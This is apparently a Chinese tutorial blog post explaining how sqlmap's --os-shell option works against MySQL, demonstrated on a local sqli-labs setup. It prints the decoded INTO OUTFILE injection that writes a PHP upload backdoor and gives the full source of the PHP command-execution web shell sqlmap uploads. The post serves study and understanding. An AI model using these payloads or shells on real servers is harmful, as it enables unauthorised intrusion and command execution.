IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> sqlmap --os-shell 原理详解 -> 正文阅读

[PHP知识库]sqlmap --os-shell 原理详解

os-shell 执行原理

对于mysql数据库来说,--os-shell的本质就是写入两个php文件,其中的tmpugvzq.php可以让我们上传文件到网站路径下,如下图。

然后sqlmap就会通过上面这个php上传一个用于命令执行的tmpbylqf.php到网站路径下,让我们命令执行,并将输出的内容返回sqlmap端。

这是单看tmpbylqf.php的执行效果:

过程演示

本次实验环境是本机上搭建的sqli-libs,目的为了研究--os-shell的原理,所以假设我们已知网站绝对路径且利用条件符合。

--os-shell的利用条件

  • 知道网站的物理路径
  • 高权限数据库用户
  • secure_file_priv无限制
  • 网站路径有写入权限

首先打开bp,并设置为拦截状态

接着打开sqlmap执行--os-shell,并将代理设置为本地的8080端口,目的是在bp中抓取sqlmap发送的数据包进行分析。

python sqlmap.py -u http://127.0.0.1/sqli-master/Less-1?id=1  --os-shell --proxy=http://127.0.0.1:8080

在抓到第一个数据包后关闭拦截,后续sqlmap发送的数据包都会在bp的http历史记录里都有数据。

接着回到sqlmap里面进行选择参数

选择php语言

?接着这个参数是选择绝对路径

选项一为用这几个路径

选项二为用户自己输入

选项三为用用户的字典

选项四为爆破。

?我们选择2,去phpstudy的sqli第一关目录下复制路径

?

到这就完成了--os-shell的执行,来看看在sqlmap的执行效果

执行完整个--os-shell过程,在bp的http历史记录中也抓到了全部数据包,下面对数据包进行分析。

前六个数据包都是普通的sql注入测试,没什么用,直接点开第七个数据包。

?把id后面那一大串url编码的东西拿去解码一下

url解码后的语句:

-5906' OR 2054=2054 LIMIT 0,1 INTO OUTFILE 'C:/Users/zhang/Desktop/php/PHPTutorial/WWW/sqli-master/Less-1/tmpugvzq.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d433a5c5c55736572735c5c7a68616e675c5c4465736b746f705c5c7068705c5c5048505475746f7269616c5c5c5757575c5c73716c692d6d61737465725c5c4c6573732d315c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a

发现LINES TERMINATED BY后面还有一段ascll的十六进制数,继续解码得到下面的php代码,也就是文章开头说的tmpugvzq.php,用于上传后面的命令执行文件。

0x<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\\Users\\zhang\\Desktop\\php\\PHPTutorial\\WWW\\sqli-master\\Less-1\\> <input type=submit name=upload value=upload></form>";}?>
?

这是整理后的代码

0x<?php
if (isset($_REQUEST["upload"])){
	$dir=$_REQUEST["uploadDir"];
	if (phpversion()<'4.1.0')
		{
			$file=$HTTP_POST_FILES["file"]["name"];
			@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();
		}
		else{
			$file=$_FILES["file"]["name"];
			@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();
		}
		@chmod($dir."/".$file,0755);
		echo "File uploaded";
	}
	else 
		{
			echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\\Users\\zhang\\Desktop\\php\\PHPTutorial\\WWW\\sqli-master\\Less-1\\> <input type=submit name=upload value=upload></form>";
		}
?>

根据上面的mysql语句,不难看出这是利用into outfile ....LINES TERMINATED BY语句写个用于上传文件的tmpugvzq.php,语法为:

into outfile '网站路径/tmpugvzq.php'?LINES TERMINATED BY 'aaa'


LINES TERMINATED BY表示每行以? 'aaa'

实例:

select 1 into outfile 'C:/Users/***/Desktop/php/PHPTutorial/WWW/info.php' lines terminated by 'aaa';

?继续对数据包进行分析,第七个到十六个中间的数据包都是无用的,看到第十六个数据包

?不难看出这是通过POST方法上传了一个tmpbylqf.php,文件的内容经过整理后为

<?php 
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("max_execution_time",0);
$z=@ini_get("disable_functions");
if(!empty($z))
    {
        $z=preg_replace("/[, ]+/",',',$z);
        $z=explode(',',$z);
        $z=array_map("trim",$z);
    }
else
    {
        $z=array();
    }
    $c=$c." 2>&1\n";
function f($n)
{
    global $z;return is_callable($n)and!in_array($n,$z);
}
if(f("system")){
    ob_start();
    system($c);
    $w=ob_get_clean();
}
elseif(f("proc_open")){
    $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
    $w=NULL;
    while(!feof($t[1])){
        $w.=fread($t[1],512);
    }
    @proc_close($y);
}
elseif(f("shell_exec")){
    $w=shell_exec($c);
}
elseif(f("passthru")){
    ob_start();
    passthru($c);
    $w=ob_get_clean();
}
elseif(f("popen")){
    $x=popen($c,r);
    $w=NULL;
    if(is_resource($x)){
        while(!feof($x))
            {
                $w.=fread($x,512);
            }
        }
        @pclose($x);
    }
    elseif(f("exec")){
        $w=array();
        exec($c,$w);
        $w=join(chr(10),$w).chr(10);
    }
    else{
        $w=0;
    }
    echo"<pre>$w</pre>";?>

这是一个用于命令执行的代码,命令执行后会将执行的结果输出。最后剩下第17、18个数据包,就是我们刚刚在sqlmap输入whoami发送的数据包,这里不在进行分析了。

数据包分析完毕,最后我们可以在sqli-master/Less-1目录下找到生成的两个后门文件。

总结

sqlmap的--os-shell在mysql数据库中的原理,其实就是往服务器上写入了两个php,其中一个给我们提供了文件上传的页面,可以通过这个上传页面上传脚本文件到当前目录下。另外一个则是返回了可以让我们执行系统命令的命令行,命令行也可以在网页url中通过对cmd参数传参执行系统命令。

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-04-18 17:20:14  更:2022-04-18 17:21:20 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/26 4:27:27-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计